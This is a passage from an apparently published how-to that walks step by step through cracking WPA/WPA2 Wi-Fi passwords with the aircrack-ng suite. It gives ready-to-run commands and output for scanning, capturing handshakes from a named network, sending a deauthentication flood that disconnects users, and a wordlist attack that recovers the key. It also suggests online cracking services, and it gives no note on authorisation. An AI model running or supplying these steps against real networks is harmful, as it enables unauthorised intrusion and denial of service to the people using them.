                                                                                          
(not associated)   33:C6:35:3F:05:D8  -94    0 - 1     41       10         LALA-4qnS      
(not associated)   57:B1:C8:C5:37:1B  -94    0 - 1      0        1                        
0F:93:59:43:F0:E4  23:1D:97:42:42:F3   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  9B:C5:40:6E:34:34   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  13:17:36:01:1A:D2   -1    1e- 0      0        2                        
0F:93:59:43:F0:E4  53:85:C5:90:21:D9  -74    1e- 1e     8       12

You will see a screen similar to the one in the image above. The program will continue running unless you close it using Ctrl + C or Ctrl + Z.

Let’s discuss the information on this screen.

• BSSID: This column displays the MAC address of the target network. That is the MAC address of the router or the Access Point.
• PWR: This is the signal strength or the power of the network. The closer the number is to zero, the better signal we will get.
• Beacons: These are frames sent by the Access point to broadcast its existence
• Data: These are the valuable data packets or frames that will help us in cracking wireless networks
• #/S: This column shows us the number of data packets we have collected in the last 10 seconds
• CH: This column indicates the channel on which the network is operating.
• MB: That indicates the maximum speed supported by the network.
• ENC: This column indicates the encryption used by the network
• CIPHER: Indicates the Cipher used on the network
• Auth: This shows the mode of authentication used to connect to the network
• ESSID: This column indicates the name of the WIFI network

In this step, all we did was random packet sniffing. We did not target any particular WiFi network or store the sniffed packets.

However, that is useful since it gives you detailed information about networks near you.

In the next step, we will look at targeted packet sniffing.

Step 4. Targeted Packet Sniffing

The difference between WPA and WPA2 is that WPA uses TKIP (Temporal Key Integrity Protocol) while the latter is capable of using TKIP and any other advanced AES algorithm. However, the method that we will use to crack the password is the same for both networks.

To crack WPA/WPA2 wifi networks, we will utilize the handshake packets. These are four packets transmitted between the router and the client when establishing a network connection. To capture packets on a specific network, we will use the syntax below.

sudo airodump-ng --bssid <MAC-of-AccessPoint> --channel <channel-number> --write <name-of-file> <card-name>

From the image above, I will be cracking the password for the network with ESSID “Mrs. Test WiFi” I will use the command below.

sudo airodump-ng --bssid 17:5A:78:5B:AE:56 --channel 1 --write mrstestwifiPackets wlan0

Now all you need to do is sit back and wait for the tool to capture as many Handshake packets as possible.

CH  1 ][ Elapsed: 6 s ][ 2021-08-27 20:20                                                                                      
                                                                                                                               
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                            
                                                                                                                               
17:5A:78:5B:AE:56  -22  93       88        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network                           
                                                                                                                               
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes

However, there is one problem.

Handshake packets are only captured once – when a device connects to the network. Therefore, to capture as many handshake packets as possible, we will need to use an attack to remove users from the network and reconnect. Deauthentication attack. That will help us capture more handshake packets.

To carry out a deuathentication attack, open a new Terminal, while leaving the current one running and trying to capture Handshake packets, and execute the command below:

sudo aireplay-ng --deauth 50 -a <BSSID-MAC> <Wireless-Card>

In my case, I’ll run:

sudo aireplay-ng --deauth 50 -a 17:5A:78:5B:AE:56 wlan0

20:32:03  Waiting for beacon frame (BSSID: 17:5A:78:5B:AE:56) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:04  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:06  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
...

The command will send 50 deauthentication packets, which are enough to disconnect several clients from the router. Once they reconnect, we will capture their handshake packets. All these packets are stored in the “mrtestwifiPackets” file we specified when performing a targeted sniffing.

Step 5. Cracking WPA/WPA2 Using a Wordlist

When we have captured enough Handshake packets, we can start to crack them using a wordlist.

Execute the ls command on your working directory. You will see several files with the name which you specified to save your sniffed packets. Look for the file with the .cap extension. That is the file we will use to crack our WiFi password.

The tool that we will use is known as aircrack-ng. Use the syntax below:

sudo aircrack-ng <packet-file-name> -w <wordlist_path>

In my case, I will run:

sudo aircrack-ng mrstestwifiPackets.cap -w /usr/share/wordlists/rockyou.txt

And here is the successfully cracked WiFi key.

As you can see where it says KEY FOUND! [ mrpassword].

This process might take some time, depending on your wordlist and the complexity of the key. Some tips you can use to speed up the process are using the GPU, which is much faster, or uploading the captured handshake file to an online cracking site. These sites use powerful computers which can crack passwords even faster. You can also create your wordlist using a Python or Bash script or use the crunch tool.

Conclusion

This tutorial has given you a detailed guide on cracking WPA/WPA2 key against a wordlist. With a large wordlist, you can easily crack different combinational passwords. However, if the key is very complex, using a wordlist may not always work. If you encountered any issues, then feel free to let us know in the comments and we’ll get back to you as soon as we can.